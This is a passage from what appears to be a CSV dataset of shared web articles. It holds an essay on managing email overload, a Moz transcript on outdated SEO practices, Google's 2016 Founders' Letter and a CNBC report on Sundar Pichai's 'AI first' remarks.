coffee"". Or ""please pass along my resume to your hiring department"". Yet another might be ""send me the final draft of the Henderson report"". Email is also used for conveying information: here are the minutes from that meeting we were just in. Here is transcription of the whiteboard from that design session. Here are some photos from our family vacation. But even in these cases, a task is implied: read these minutes and see if they're accurate; inspect this diagram and use it to inform your design; look at these photos and just enjoy them. So here's the thing that you're bad at, which is why none of the fifty different email apps you've bought for your phone have fixed the problem: when you get these messages, you aren't making a conscious decision about: how important the message is to you whether you want to act on them at all when you want to act on them what exact action you want to take what the consequences of taking or not taking that action will be This means that when someone asks you to do a thing, you probably aren't going to do it. You're going to pretend to commit to it, and then you're going to flake out when push comes to shove. You're going to keep context-switching until all the deadlines have passed. In other words: The thing you are bad at is saying 'no' to people . Sometimes it's not obvious that what you're doing is saying 'no'. For many of us - and I certainly fall into this category - a lot of the messages we get are vaguely informational. They're from random project mailing lists, perhaps they're discussions between other people, and it's unclear what we should do about them (or if we should do anything at all). We hang on to them (piling up in our Inboxes) because they might be relevant in the future. I am not advocating that you have to reply to every dumb mailing list email with a 5-part action plan and a Scrum meeting invite: that would be a disaster. You don't have time for that. You really shouldn't have time for that. The trick about getting to Inbox Zero is not in somehow becoming an email-reading machine, but in realizing that most email is worthless, and that's OK . If you're not going to do anything with it, just archive it and forget about it. If you're subscribed to a mailing list where only 1 out of 1000 messages actually represents something you should do about it, archive all the rest after only answering the question ""is this the one I should do something about?"". You can answer that question after just glancing at the subject; there are times when checking my email I will be hitting ""archive"" with a 1-second frequency. If you are on a list where zero messages are ever interesting enough to read in their entirety or do anything about, then of course you should unsubscribe. Once you've dug yourself into a hole with thousands of ""I don't know what I should do with this"" messages, it's time to declare email bankruptcy . If you have 24,000 messages in your Inbox, let me be real with you: you are never, ever going to answer all those messages . You do not need a smartwatch to tell you exactly how many messages you are never going to reply to. We're In This Together, Me Especially A lot of guidance about what to do with your email addresses email overload as a personal problem. Over the years of developing my tips and tricks for dealing with it, I certainly saw it that way. But lately, I'm starting to see that it has pernicious social effects. If you have 24,000 messages in your Inbox, that means you aren't keeping track or setting priorities on which tasks you want to complete. But just because you're not setting those priorities, that doesn't mean nobody is. It means you are letting availability heuristic - whatever is ""latest and loudest"" - govern access to your attention, and therefore your time. By doing this, you are rewarding people (or #brands) who contact you repeatedly, over inappropriate channels, and generally try to flood your attention with their priorities instead of your own. This, in turn, creates a culture where it is considered reasonable and appropriate to assume that you need to do that in order to get someone's attention. Since we live in the era of subtext and implication, I should explicitly say that I'm not describing any specific work environment or community. I used to have an email startup, and so I thought about this stuff very heavily for almost a decade. I have seen email habits at dozens of companies, and I help people in the open source community with their email on a regular basis. So I'm not throwing shade: almost everybody is terrible at this. And that is the one way that email, in the sense of the tools and programs we use to process it, is at fault: technology has made it easier and easier to ask people to do more and more things, without giving us better tools or training to deal with the increasingly huge array of demands on our time. It's easier than ever to say ""hey could you do this for me"" and harder than ever to just say ""no, too busy"". Mostly, though, I want you to know that this isn't just about you any more. It's about someone much more important than you: me . I'm tired of sending reply after reply to people asking to ""just circle back"" or asking if I've seen their email. Yes, I've seen your email. I have a long backlog of tasks, and, like anyone, I have trouble managing them and getting them all done, and I frequently have to decide that certain things are just not important enough to do. Sometimes it takes me a couple of weeks to get to a message. Sometimes I never do. But, it's impossible to be mad at somebody for ""just checking in"" for the fourth time when this is probably the only possible way they ever manage to get anyone else to do anything. I don't want to end on a downer here, though. And I don't have a book to sell you which will solve all your productivity problems. I know that if I lay out some incredibly elaborate system all at once, it'll seem overwhelming. I know that if I point you at some amazing gadget that helps you keep track of what you want to do, you'll either balk at the price or get lost fiddling with all its knobs and buttons and not getting a lot of benefit out of it. So if I'm describing a problem that you have here, here's what I want you to do. Step zero is setting aside some time. This will probably take you a few hours, but trust me; they will be well-spent. Email Bankruptcy First, you need to declare email bankruptcy. Select every message in your Inbox older than 2 weeks. Archive them all, right now. In the past, you might have to worry about deleting those messages, but modern email systems pretty much universally have more storage than you'll ever need. So rest assured that if you actually need to do anything with these messages, they'll all be in your archive. But anything in your Inbox right now older than a couple of weeks is just never going to get dealt with, and it's time to accept that fact. Again, this part of the process is not about making a decision yet, it's just about accepting a reality . Mailbox Three One extra tweak I would suggest here is to get rid of all of your email folders and filters . It seems like many folks with big email problems have tried to address this by ever-finer-grained classification of messages, ever more byzantine email rules. At least, it's common for me, when looking over someone's shoulder to see 24,000 messages, it's common to also see 50 folders. Probably these aren't helping you very much. In older email systems, it was necessary to construct elaborate header-based filtering systems so that you can later identify those messages in certain specific ways, like ""message X went to this mailing list"". However, this was an incomplete hack, a workaround for a missing feature. Almost all modern email clients (and if yours doesn't do this, switch) allow you to locate messages like this via search. Your mail system ought to have 3 folders: Inbox, which you process to discover tasks, Drafts, which you use to save progress on replies, and Archive, the folder which you access only by searching for information you need when performing a task. Getting rid of unnecessary folders and queries and filter rules will remove things that you can fiddle with. Moving individual units of trash between different heaps of trash is not being productive, and by removing all the different folders you can shuffle your messages into before actually acting upon them you will make better use of your time spent looking at your email client. There's one exception to this rule, which is filters that do nothing but cause a message to skip your Inbox and go straight to the archive. The reason that this type of filter is different is that there are certain sources or patterns of message which are not actionable, but rather, a useful source of reference material that is only available as a stream of emails. Messages like that should, indeed, not show up in your Inbox. But, there's no reason to file them into a specific folder or set of folders; you can always find them with a search. Make A Place For Tasks Next, you need to get a task list. Your email is not a task list; tasks are things that you decided you're going to do, not things that other people have asked you to do. Critically, you are going to need to parse e-mails into tasks. To explain why, let's have a little arithmetic aside. Let's say it only takes you 45 seconds to go from reading a message to deciding what it really means you should do; so, it only takes 20 seconds to go from looking at the message to remembering what you need to do about it. This means that by the time you get to 180 un-processed messages that you need to do something about in your Inbox, you'll be spending an hour a day doing nothing but remembering what those messages mean , before you do anything related to actually living your life, even including checking for new messages. What should you use for the task list? On some level, this doesn't really matter. It only needs one really important property: you need to trust that if you put something onto it, you'll see it at the appropriate time. How exactly that works depends heavily on your own personal relationship with your computers and devices; it might just be a physical piece of paper. But for most of us living in a multi-device world, something that synchronizes to some kind of cloud service is important, so Wunderlist or Remember the Milk are good places to start, with free accounts. Turn Messages Into Tasks The next step - and this is really the first day of the rest of your life - start at the oldest message in your Inbox, and work forward in time . Look at only one message at a time. Decide whether this message is a meaningful task that you should accomplish. If you decide a message represents a task , then make a new task on your task list. Decide what the task actually is, and describe it in words; don't create tasks like ""answer this message"". Why do you need to answer it? Do you need to gather any information first? If you need to access information from the message in order to accomplish the task, then be sure to note in your task how to get back to the email. Depending on what your mail client is, it may be easier or harder to do this, but in the worst case, following the guidelines above about eliminating unnecessary folders and filing in your email client, just put a hint into your task list about how to search for the message in question unambiguously. Once you've done that: Archive the message immediately. The record that you need to do something about the message now lives in your task list, not your email client. You've processed it, and so it should no longer remain in your inbox. If you decide a message doesn't represent a task , then: Archive the message immediately. Do not move on to the next message until you have archived this message. Do not look ahead. The presence of a message in your Inbox means you need to make a decision about it. Follow the touch-move rule with your email. If you skip over messages habitually and decide you'll ""just get back to it in a minute"", that minute will turn into 4 months and you'll be right back where you were before. Circling back to the subject of this post; once again, this isn't really specific to email. You should follow roughly the same workflow when someone asks you to do a task in a meeting, or in Slack, or on your Discourse board, or wherever, if you think that the task is actually important enough to do. Note the slack timestamp and a snippet of the message so you can search for it again, if there is a relevant attachment. The thing that makes email different is really just the presence of an email box. Banish The Blue Dot Almost all email clients have a way of tracking ""unread"" messages; they cheerfully display counters of them. Ignore this information; it is useless. Messages have two states: in your inbox (unprocessed) and in your archive (processed). ""Read"" vs. ""Unread"" can be, at best, of minimal utility when resuming an interrupted scanning session. But, you are always only ever looking at the oldest message first , right? So none of the messages below it should be unread anyway... Be Ruthless As you try to start translating your flood of inbound communications into an actionable set of tasks you can actually accomplish, you are going to notice that your task list is going to grow and grow just as your Inbox was before. This is the hardest step: Decide you are not going to do those tasks, and simply delete them. Sometimes, a task's entire life-cycle is to be created from an email, exist for ten minutes, and then have you come back to look at it and then delete it. This might feel pointless, but in going through that process, you are learning something extremely valuable: you are learning what sorts of things are not actually important enough to do you do. If every single message you get from some automated system provokes this kind of reaction, that will give you a clue that said system is wasting your time, and just making you feel anxious about work you're never really going to get to, which can then lead to you un-subscribing or filtering messages from that system. Tasks Before Messages To thine own self, not thy Inbox, be true. Try to start your day by looking at the things you've consciously decided to do. Don't look at your email, don't look at Slack; look at your calendar, and look at your task list. One of those tasks, probably, is a daily reminder to ""check your email"", but that reminder is there more to remind you to only do it once than to prevent you from forgetting. I say ""try"" because this part is always going to be a challenge; while I mentioned earlier that you don't want to unthinkingly give in to availability heuristic , you also have to acknowledge that the reason it's called a ""cognitive bias"" is because it's part of human cognition. There will always be a constant anxious temptation to just check for new stuff; for those of us who have a predisposition towards excessive scanning behavior have it more than others. Why Email? We all need to make commitments in our daily lives. We need to do things for other people. And when we make a commitment, we want to be telling the truth. I want you to try to do all these things so you can be better at that. It's impossible to truthfully make a commitment to spend some time to perform some task in the future if, realistically, you know that all your time in the future will be consumed by whatever the top 3 highest-priority angry voicemails you have on that day are. Email is a challenging social problem, but I am tired of email, especially the user interface of email applications , getting the blame for what is, at its heart, a problem of interpersonal relations. It's like noticing that you get a lot of bills through the mail, and then blaming the state of your finances on the colors of the paint in your apartment building's mail room. Of course, the UI of an email app can encourage good or bad habits, but Gmail gave us a prominent ""Archive"" button a decade ago, and we still have all the same terrible habits that were plaguing Outlook users in the 90s . Of course, there's a lot more to ""productivity"" than just making a list of the things you're going to do. Some tools can really help you manage that list a lot better. But all they can help you to do is to stop working on the wrong things, and start working on the right ones. Actually being more productive, in the sense of getting more units of work out of a day, is something you get from keeping yourself healthy, happy, and well-rested , not from an email filing system. You can't violate causality to put more hours into the day, and as a frail and finite human being, there's only so much work you can reasonably squeeze in before you die . The reason I care a lot about salvaging email specifically is that it remains the best medium for communication that allows you to be in control of your own time, and by extension, the best medium for allowing people to do creative work. Asking someone to do something via SMS doesn't scale; if you have hundreds of unread texts there's no way to put them in order, no way to classify them as ""finished"" and ""not finished"", so you need to keep it to the number of things you can fit in short term memory . Not to mention the fact that text messaging is almost by definition an interruption - by default, it causes a device in someone's pocket to buzz. Asking someone to do something in group chat, such as IRC or Slack, is similarly time-dependent; if they are around, it becomes an interruption, and if they're not around, you have to keep asking and asking over and over again, which makes it really inefficient for the asker (or the asker can use a @highlight, and assume that Slack will send the recipient, guess what, an email). Social media often comes up as another possible replacement for email, but its sort order is even worse than ""only the most recent and most frequently repeated"". Messages are instead sorted by value to advertisers or likeliness to increase 'engagement'"", i.e. most likely to keep you looking at this social media site rather than doing any real work. For those of us who require long stretches of uninterrupted time to produce something good - ""creatives"", or whatever today's awkward buzzword for intersection of writers, programmers, graphic designers, illustrators, and so on, is - we need an inbound task queue that we can have some level of control over. Something that we can check at a time of our choosing, something that we can apply filtering to in order to protect access to our attention, something that maintains the chain of request/reply for reference when we have to pick up a thread we've had to let go of for a while. Some way to be in touch with our customers, our users, and our fans, without being constantly interrupted. Because if we don't give those who need to communicate with such a tool, they'll just blast @everyone messages into our slack channels and @mentions onto Twitter and texting us Hey, got a minute? until we have to quit everything to try and get some work done . Questions about this post? Go ahead and send me an email. Acknowledgements As always, any errors or bad ideas are certainly my own. First of all, Merlin Mann , whose writing and podcasting were the inspiration, direct or indirect, for many of my thoughts on this subject; and who sets a good example because he won't answer your email . Thanks also to David Reid for introducing me to Merlin's work, as well as Alex Gaynor, Tristan Seligmann, Donald Stufft, Cory Benfield, Piët Delport, Amber Brown, and Ashwini Oruganti for feedback on drafts.",en
1461936805,CONTENT SHARED,-4748027149000767298,-108842214936804958,-4157765822841020873,,,,HTML,https://moz.com/blog/8-old-school-seo-practices-not-effective-whiteboard-friday,8 Old School SEO Practices That Are No Longer Effective - Whiteboard Friday,"[Estimated read time: 14 minutes] Are you guilty of living in the past? Using methods that were once tried-and-true can be alluring, but it can also prove dangerous to your search strategy. In today's Whiteboard Friday, Rand spells out eight old school SEO practices that you should ditch in favor of more effective and modern alternatives. Video Transcription Howdy, Moz fans, and welcome to another edition of Whiteboard Friday. This week we're going to chat about some old school SEO practices that just don't work anymore and things with which we should replace them. Let's start with the first one - keywords before clicks. Look, I get the appeal here. The idea is that we've done a bunch of keyword research, now we're doing keyword targeting, and we can see that it might be important to target multiple keywords on the same page. So FYI, ""pipe smoking,"" ""tobacco smoking,"" ""very dangerous for your health,"" not recommended by me or by Moz, but I thought it was a funny throwback keyword and so there you go. I do enjoy little implements even if I never use them. So pipes, tobacco pipes, pipe smoking, wooden pipes, this is not going to draw anyone's click. You might think, ""But it's good SEO, Rand. It's good to have all my keywords in my title element. I know that's an important part of SEO."" Not anymore. It really is not anymore an important . . . well, let's put it this way. It's an important part of SEO, which is subsumed by wanting to draw the clicks. The user is searching, they're looking at the page, and what are they going to think when they see pipes tobacco, pipes, pipe smoking, wooden pipes? They have associations with that - spammy, sketchy, I don't want to click it - and we know, as SEOs, that Google is using click signals to help documents rank over time and to help websites rank over time. So if they're judging this, you're going to fall in the rankings, versus a title like ""Art of Piping: Studying Wooden Pipes for Every Price Range."" Now, you're not just playing off the, ""Yes, I am including some keywords in there. I have 'wooden' and 'pipes.' I have 'art of piping,' which is maybe my brand name."" But I'm worried more about drawing the click, which is why I'm making this part of my message of ""for every price range."" I'm using the word ""stunning"" to draw people in. I'm saying, ""Our collection is not the largest but the hand-selected best. You'll find unique pipes available nowhere else and always free, fast shipping."" I'm essentially trying to create a message, like I would for an AdWords ad, that is less focused on just having the raw keywords in there and more focused on drawing the click. This is a far more effective approach that we've seen over the last few years. It's probably been a good six or seven years that this has been vastly superior to this other approach. Second one, heavy use of anchor text on internal links. This used to be a practice that could have positive impacts on rankings. But what we've seen lately, especially the last few years, is that Google has discounted this and has actually even punished it where they feel like it's inappropriate or spammy, manipulative, overdone. We talked about this a little in our internal and external linking Whiteboard Friday a couple of weeks back. In this case, my suggestion would be if the internal link is in the navigation, if it's in the footer, if it's in a sidebar, if it's inside content, and it is relevant and well-written and it flows well, has high usability, you're pretty safe. However, if it has low usability, if it looks sketchy or funny, if you're making the font small so as to hide it because it's really for search engines and not for searchers and users, now you're in a sketchy place. You might count on being discounted, penalized, or hurt at some point by Google. Number three, pages for every keyword variant. This is an SEO tactic that many folks are still pursuing today and that had been effective for a very long time. So the idea was basically if I have any variation of a keyword, I want a single page to target that because keyword targeting is such a precise art and technical science that I want to have the maximum capacity to target each keyword individually, even if it's only slightly different from another one. This still worked even up to four or five years ago, and in some cases, people were sacrificing usability because they saw it still worked. Nowadays, Google has gotten so smart with upgrades like Hummingbird, obviously with RankBrain last year, that they've taken to a much more intent- and topic-matching model. So we don't want to do something like have four different pages, like unique hand-carved pipes, hand-carved pipes, hand-carved tobacco pipes, and hand-carved tobacco smoking pipes. By the way, these are all real searches that you'll find in Google Suggest or AdWords. But rather than taking all of these and having a separate page for each, I want one page targeting all of them. I might try and fit these keywords intelligently into the content, the headline, maybe the title, the meta description, those kinds of things. I'm sure I can find a good combination of these. But the intent for each of these searchers is the same, so I only want one page targeting them. Number four - directories, paid links, etc. Every single one of these link building, link acquisition techniques that I'm about to mention has either been directly penalized by Google or penalized as part of an update, or we've seen sites get hit hard for doing it. This is dangerous stuff, and you want to stay away from all of these at this point. Directories, well, generic directories and SEO directories for sure. Article links, especially article blasts where you can push an article in and there's no editorial review. Guest content, depending on the editorial practices, the board might be a little different. Press releases, Google you saw penalized some press release websites. Well, it didn't penalize the press release website. Google said, ""You know what? Your links don't count anymore, or we're going to discount them. We're not going to treat them the same."" Comment links, for obvious reasons, reciprocal link pages, those got penalized many years ago. Article spinners. Private link networks. You se private and network, or you see network, you should just generally run away. Private blog networks. Paid link networks. Fiverr or forum link buys. You see advertised on all sorts of SEO forums especially the more aggressive, sketchy ones that a lot of folks are like, ""Hey, for $99, we have this amazing package, and I'll show you all the people whose rankings it's increased, and they come from PageRank six,"" never mind that Page Rank is totally defunct. Or worse, they use Moz. They'll say like, ""Domain authority 60-plus websites."" You know what, Moz is not perfect. Domain authority is not a perfect representation of the value you're going to get from these things. Anyone who's selling you links on a forum, you should be super skeptical. That's somewhat like someone going up to your house and being like, ""Hey, I got this Ferrari in the yard here. You want to buy this?"" That's my Jersey coming out. Social link buys, anything like this, just say no people. Number five, multiple microsites, separate domains, or separate domains with the same audience or topic target. So this again used to be a very common SEO practice, where folks would say, ""Hey, I'm going to split these up because I can get very micro targeted with my individual websites."" They were often keyword-rich domain names like woodenpipes.com, and I've got handmadepipes.net, and I've got pipesofmexico.co versus I just have artofpiping.com, not that ""piping"" is necessarily the right word. Then it includes all of the content from all of these. The benefit here is that this is going to gain domain authority much faster and much better, and in a far greater fashion than any of these will. Let's say that it was possible that there is no bias against the exact match domain names folks. We're happy to link to them, and you had just as much success branding each of these and earning links to each of these, and doing content marketing on each of these as you did on this one. But you split up your efforts a third, a third, a third. Guess what would happen? These would rank about a third as well as all the content would on here, which means the content on handmadepipes.net is not benefitting from the links and content on woodenpipes.com, and that sucks. You want to combine your efforts into one domain if you possibly can. This is one of the reasons we also recommend against subdomains and microsites, because putting all of your efforts into one place has the best shot at earning you the most rankings for all of the content you create. Number six, exact and partial keyword match domain names in general. It's the case like if I'm a consumer and I'm looking at domain names like woodenpipes.com, handmadepipes.net, uniquepipes.shop, hand-carved-pipes.co, the problem is that over time, over the last 15, 20 years of the Web, those types of domain names that don't sound like real brands, that are not in our memories and don't have positive associations with them, they're going to draw clicks away from you and towards your competitors who sound more credible, more competent, and more branded. For that reason alone, you should avoid them. It's also that case that we've seen that these types of domains do much more poorly with link earning, with content marketing, with being able to have guest content accepted. People don't trust it. The same is true for public relations and getting press mentions. The press doesn't trust sites like these. For those reasons, it's just a barrier. Even if you thought, ""Hey, there's still keyword benefits to these,"" which there is a little bit because the anchor text that comes with them, that points to the site always includes the words and phrases you're going after. So there's a little bit of benefit, but it's far overwhelmed by the really frustrating speed bumps and roadblocks that you face when you have a domain like this. Number seven - Using CPC or Adwords' ""Competition"" to determine the difficulty of ranking in organic or non-paid results A lot of folks, when they're doing keyword research, for some reason still have this idea that using cost per click or AdWords as competition scores can help determine the difficulty of ranking in organic, non-paid results. This is totally wrong. So see right here, I've got ""hand-carved pipes"" and ""unique wooden pipes,"" and they have an AdWords CPC respectively of $3.80 and $5.50, and they have AdWords competition of medium and medium. That is in no way correlated necessarily with how difficult they'll be to rank for in the organic results. I could find, for example, that ""unique wooden pipes"" is actually easier or harder than ""hand-carved pipes"" to rank for in the organic SEO results. This really depends on: Who's in the competition set? What types of links do they have and social mentions do they have? How robust is their content? How much are they exciting visitors and drawing them in and serving them well? That sort of stuff is really hard to calculate here. I like the keyword difficulty score that Moz uses. Some other tools have their own versions. Doctor Pete, I think, did a wonderful job of putting together a keyword difficulty score that's relatively comprehensive and well-thought through, uses a lot of the metrics about the domain and the page authority scores, and it compensates for a lot of other things, to look at a set of search results and say, ""This is probably about how hard it's going to be,"" and whether it's harder or easier than some other keyword. Number eight - Unfocused, non-strategic ""linkbait"" Last one, some folks are still engaging in this, I think because content strategy, content marketing, and content as a whole has become a very hot topic and a point of investment. Many SEOs still invest in what I call ""nonstrategic and unfocused link bait."" The idea being if I can draw links to my website, it doesn't really matter if the content doesn't make people very happy or if it doesn't match and gel well with what's on my site. So you see a lot of these types of practices on sites that have nothing to do with it. Like, ""Here are seven actors who one time wore too little clothing."" That's an extreme example, but you get the idea if you ever look at the bottom ads for a lot of content stuff. It feels like pretty much all of them say that. Versus on topic link bait or what I'd call high quality content that is likely to draw in links and attention, and create a positive branding association like, ""Here's the popularity of pipes, cigarettes, electronic cigarettes, and cigars in the U.S. from 1950 to today."" We've got the data over time and we've mapped that out. This is likely to earn a lot of links, press attention. People would check it out. They'd go, ""Oh, when was it that electronic cigarettes started getting popular? Have pipes really fallen off? It feels like no one uses them anymore. I don't see them in public. When was that? Why was that? Can I go over time and see that dataset?"" It's fundamentally interesting, and data journalism is, obviously, very hot right now. So with these eight, hopefully you'll be able to switch from some old school SEO techniques that don't work so well to some new ways of thinking that will take your SEO results to a great place. And with that, we'll see you again next week for another edition of Whiteboard Friday. Take care. Video transcription by Speechpad.com",en
1461939858,CONTENT SHARED,8596997246990922861,-1443636648652872475,-7777675406803857155,,,,HTML,https://googleblog.blogspot.com.br/2016/04/this-years-founders-letter.html,This year's Founders' Letter,"Every year, Larry and Sergey write a Founders' Letter to our stockholders updating them with some of our recent highlights and sharing our vision for the future. This year, they decided to try something new. - Ed. In August, I announced Alphabet and our new structure and shared my thoughts on how we were thinking about the future of our business. (It is reprinted here in case you missed it, as it seems to apply just as much today.) I'm really pleased with how Alphabet is going. I am also very pleased with Sundar's performance as our new Google CEO. Since the majority of our big bets are in Google, I wanted to give him most of the bully-pulpit here to reflect on Google's accomplishments and share his vision. In the future, you should expect that Sundar, Sergey and I will use this space to give you a good personal overview of where we are and where we are going. - Larry Page, CEO, Alphabet When Larry and Sergey founded Google in 1998, there were about 300 million people online. By and large, they were sitting in a chair, logging on to a desktop machine, typing searches on a big keyboard connected to a big, bulky monitor. Today, that number is around 3 billion people, many of them searching for information on tiny devices they carry with them wherever they go. In many ways, the founding mission of Google back in '98-""to organize the world's information and make it universally accessible and useful""-is even truer and more important to tackle today, in a world where people look to their devices to help organize their day, get them from one place to another, and keep in touch. The mobile phone really has become the remote control for our daily lives, and we're communicating, consuming, educating, and entertaining ourselves, on our phones, in ways unimaginable just a few years ago. Knowledge for everyone: search and assistance As we said when we announced Alphabet, ""the new structure will allow us to keep tremendous focus on the extraordinary opportunities we have inside of Google."" Those opportunities live within our mission, and today we are about one thing above all else: making information and knowledge available for everyone. This of course brings us to Search-the very core of this company. It's easy to take Search for granted after so many years, but it's amazing to think just how far it has come and still has to go. I still remember the days when 10 bare blue links on a desktop page helped you navigate to different parts of the Internet. Contrast that to today, where the majority of our searches come from mobile, and an increasing number of them via voice. These queries get harder and harder with each passing year-people want more local, more context-specific information, and they want it at their fingertips. So we've made it possible for you to search for [Leonardo DiCaprio movies] or [Zika virus] and get a rich panel of facts and visuals. You can also get answers via Google Now-like the weather in your upcoming vacation spot, or when you should leave for the airport-without you even needing to ask the question. Helping you find information that gets you through your day extends well beyond the classic search query. Think, for example, of the number of photos you and your family have taken throughout your life, all of your memories. Collectively, people will take 1 trillion photos this year with their devices. So we launched Google Photos to make it easier for people to organize their photos and videos, keep them safe, and be able to find them when they want to, on whatever device they are using. Photos launched less than a year ago and already has more than 100 million monthly active users. Or take Google Maps. When you ask us about a location, you don't just want to know how to get from point A to point B. Depending on the context, you may want to know what time is best to avoid the crowds, whether the store you're looking for is open right now, or what the best things to do are in a destination you're visiting for the first time. But all of this is just a start. There is still much work to be done to make Search and our Google services more helpful to you throughout your day. You should be able to move seamlessly across Google services in a natural way, and get assistance that understands your context, situation, and needs-all while respecting your privacy and protecting your data. The average parent has different needs than the average college student. Similarly, a user wants different help when in the car versus the living room. Smart assistance should understand all of these things and be helpful at the right time, in the right way. The power of machine learning and artificial intelligence A key driver behind all of this work has been our long-term investment in machine learning and AI. It's what allows you to use your voice to search for information, to translate the web from one language to another, to filter the spam from your inbox, to search for ""hugs"" in your photos and actually pull up pictures of people hugging ... to solve many of the problems we encounter in daily life. It's what has allowed us to build products that get better over time, making them increasingly useful and helpful. We've been building the best AI team and tools for years, and recent breakthroughs will allow us to do even more. This past March, DeepMind's AlphaGo took on Lee Sedol, a legendary Go master, becoming the first program to beat a professional at the most complex game mankind ever devised. The implications for this victory are, literally, game changing-and the ultimate winner is humanity. This is another important step toward creating artificial intelligence that can help us in everything from accomplishing our daily tasks and travels, to eventually tackling even bigger challenges like climate change and cancer diagnosis. More great content, in more places In the early days of the Internet, people thought of information primarily in terms of web pages. Our focus on our core mission has led us to many efforts over the years to improve discovery, creation, and monetization of content-from indexing images, video, and the news, to building platforms like Google Play and YouTube. And with the migration to mobile, people are watching more videos, playing more games, listening to more music, reading more books, and using more apps than ever before. That's why we have worked hard to make YouTube and Google Play useful platforms for discovering and delivering great content from creators and developers to our users, when they want it, on whatever screen is in front of them. Google Play reaches more than 1 billion Android users. And YouTube is the number-one destination for video-over 1 billion users per month visit the site-and ranks among the year's most downloaded mobile apps. In fact, the amount of time people spend watching videos on YouTube continues to grow rapidly-and more than half of this watchtime now happens on mobile. As we look to the future, we aim to provide more choice to YouTube fans-more ways for them to engage with creators and each other, and more ways for them to get great content. We've started down this journey with specialized apps like YouTube Kids, as well as through our YouTube Red subscription service, which allows fans to get all of YouTube without ads, a premium YouTube Music experience and exclusive access to new original series and movies from top YouTube creators like PewDiePie and Lilly Singh. We also continue to invest in the mobile web-which is a vital source of traffic for the vast majority of websites. Over this past year, Google has worked closely with publishers, developers, and others in the ecosystem to help make the mobile web a smoother, faster experience for users. A good example is the Accelerated Mobile Pages (AMP) project, which we launched as an open-source initiative in partnership with news publishers, to help them create mobile-optimized content that loads instantly everywhere. The other example is Progressive Web Apps (PWA), which combine the best of the web and the best of apps-allowing companies to build mobile sites that load quickly, send push notifications, have home screen icons, and much more. And finally, we continue to invest in improving Chrome on mobile-in the four short years since launch, it has just passed 1 billion monthly active users on mobile. Of course, great content requires investment. Whether you're talking about Google's web search, or a compelling news article you read in The New York Times or The Guardian, or watching a video on YouTube, advertising helps fund content for millions and millions of people. So we work hard to build great ad products that people find useful-and that give revenue back to creators and publishers. Powerful computing platforms Just a decade ago, computing was still synonymous with big computers that sat on our desks. Then, over just a few years, the keys to powerful computing-processors and sensors-became so small and cheap that they allowed for the proliferation of supercomputers that fit into our pockets: mobile phones. Android has helped drive this scale: it has more than 1.4 billion 30-day-active devices-and growing. Today's proliferation of ""screens"" goes well beyond phones, desktops, and tablets. Already, there are exciting developments as screens extend to your car, like Android Auto, or your wrist, like Android Wear. Virtual reality is also showing incredible promise-Google Cardboard has introduced more than 5 million people to the incredible, immersive and educational possibilities of VR. Looking to the future, the next big step will be for the very concept of the ""device"" to fade away. Over time, the computer itself-whatever its form factor-will be an intelligent assistant helping you through your day. We will move from mobile first to an AI first world. Enterprise Most of these computing experiences are very likely to be built in the cloud. The cloud is more secure, more cost effective, and it provides the ability to easily take advantage of the latest technology advances, be it more automated operations, machine learning, or more intelligent office productivity tools. Google started in the cloud and has been investing in infrastructure, data management, analytics, and AI from the very beginning. We now have a broad and growing set of enterprise offerings: Google Cloud Platform (GCP), Google Apps, Chromebooks, Android, image recognition, speech translation, maps, machine learning for customers' proprietary data sets, and more. Our customers like Whirlpool, Land O'Lakes and Spotify are transforming their businesses by using our enterprise productivity suite of Google Apps and Google Cloud Platform services. As we look to our long-term investments in our productivity tools supported by our machine learning and artificial intelligence efforts, we see huge opportunities to dramatically improve how people work. Your phone should proactively bring up the right documents, schedule and map your meetings, let people know if you are late, suggest responses to messages, handle your payments and expenses, etc. Building for everyone Whether it's a developer using Google Cloud Platform to power their new application, or a creator finding new income and viewers via YouTube, we believe in leveling the playing field for everyone. The Internet is one of the world's most powerful equalizers, and we see it as our job to make it available to as many people as possible. This belief has been a core Google principle from the very start-remember that Google Search was in the hands of millions long before the idea for Google advertising was born. We work on advertising because it's what allows us to make our services free; Google Search works the same for anyone with an Internet connection, whether it is in a modern high-rise or a rural schoolhouse. Making this possible is a lot more complicated than simply translating a product or launching a local country domain. Poor infrastructure keeps billions of people around the world locked out of all of the possibilities the web may offer them. That's why we make it possible for there to be a $50 Android phone, or a $100 Chromebook. It's why this year we launched Maps with turn-by-turn navigation that works even without an Internet connection, and made it possible for people to get faster-loading, streamlined Google Search if they are on a slower network. We want to make sure that no matter who you are or where you are or how advanced the device you are using ... Google works for you. In all we do, Google will continue to strive to make sure that remains true-to build technology for everyone . Farmers in Kenya use Google Search to keep up with crop prices and make sure they can make a good living. A classroom in Wisconsin can take a field trip to the Sistine Chapel ... just by holding a pair of Cardboard goggles. People everywhere can use their voices to share new perspectives, and connect with others, by creating and watching videos on YouTube. Information can be shared-knowledge can flow-from anyone, to anywhere. In 17 years, it's remarkable to me the degree to which the company has stayed true to our original vision for what Google should do, and what we should become. For us, technology is not about the devices or the products we build. Those aren't the end-goals. Technology is a democratizing force, empowering people through information. Google is an information company. It was when it was founded, and it is today. And it's what people do with that information that amazes and inspires me every day.",en
1461940583,CONTENT SHARED,2793899372921426050,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.cnbc.com/2016/04/28/google-ceo-cites-shift-from-a-mobile-world-to-an-ai-world.html,"Google CEO: Mobile will fade, AI will rise","""The implications for this victory are, literally, game changing - and the ultimate winner is humanity,"" Pichai wrote. ""This is another important step toward creating artificial intelligence that can help us in everything from accomplishing our daily tasks and travels to eventually tackling even bigger challenges like climate change and cancer diagnosis."" Pichai's comments come at a time when artificial intelligence has been the source of intense debate among technologists. Microsoft co-founder Bill Gates , physicist Stephen Hawking and Tesla CEO Elon Musk have all hesitated to endorse the technology or have warned of its dangers, while others, like Facebook's Mark Zuckerberg , have said we should not be afraid of AI. Right now, Google works across screens, Pichai said, not just computers, but phones, wrists, cars and virtual reality devices. But Pichai predicts that these devices will be replaced by the more powerful forces of artificial intelligence. ""Looking to the future, the next big step will be for the very concept of the 'device' to fade away,"" Pichai wrote. ""Over time, the computer itself - whatever its form factor - will be an intelligent assistant helping you through your day. We will move from mobile first to an AI first world."" - CNBC's Saheli Roy Choudhury and Sarah Whitten contributed to this report.",en
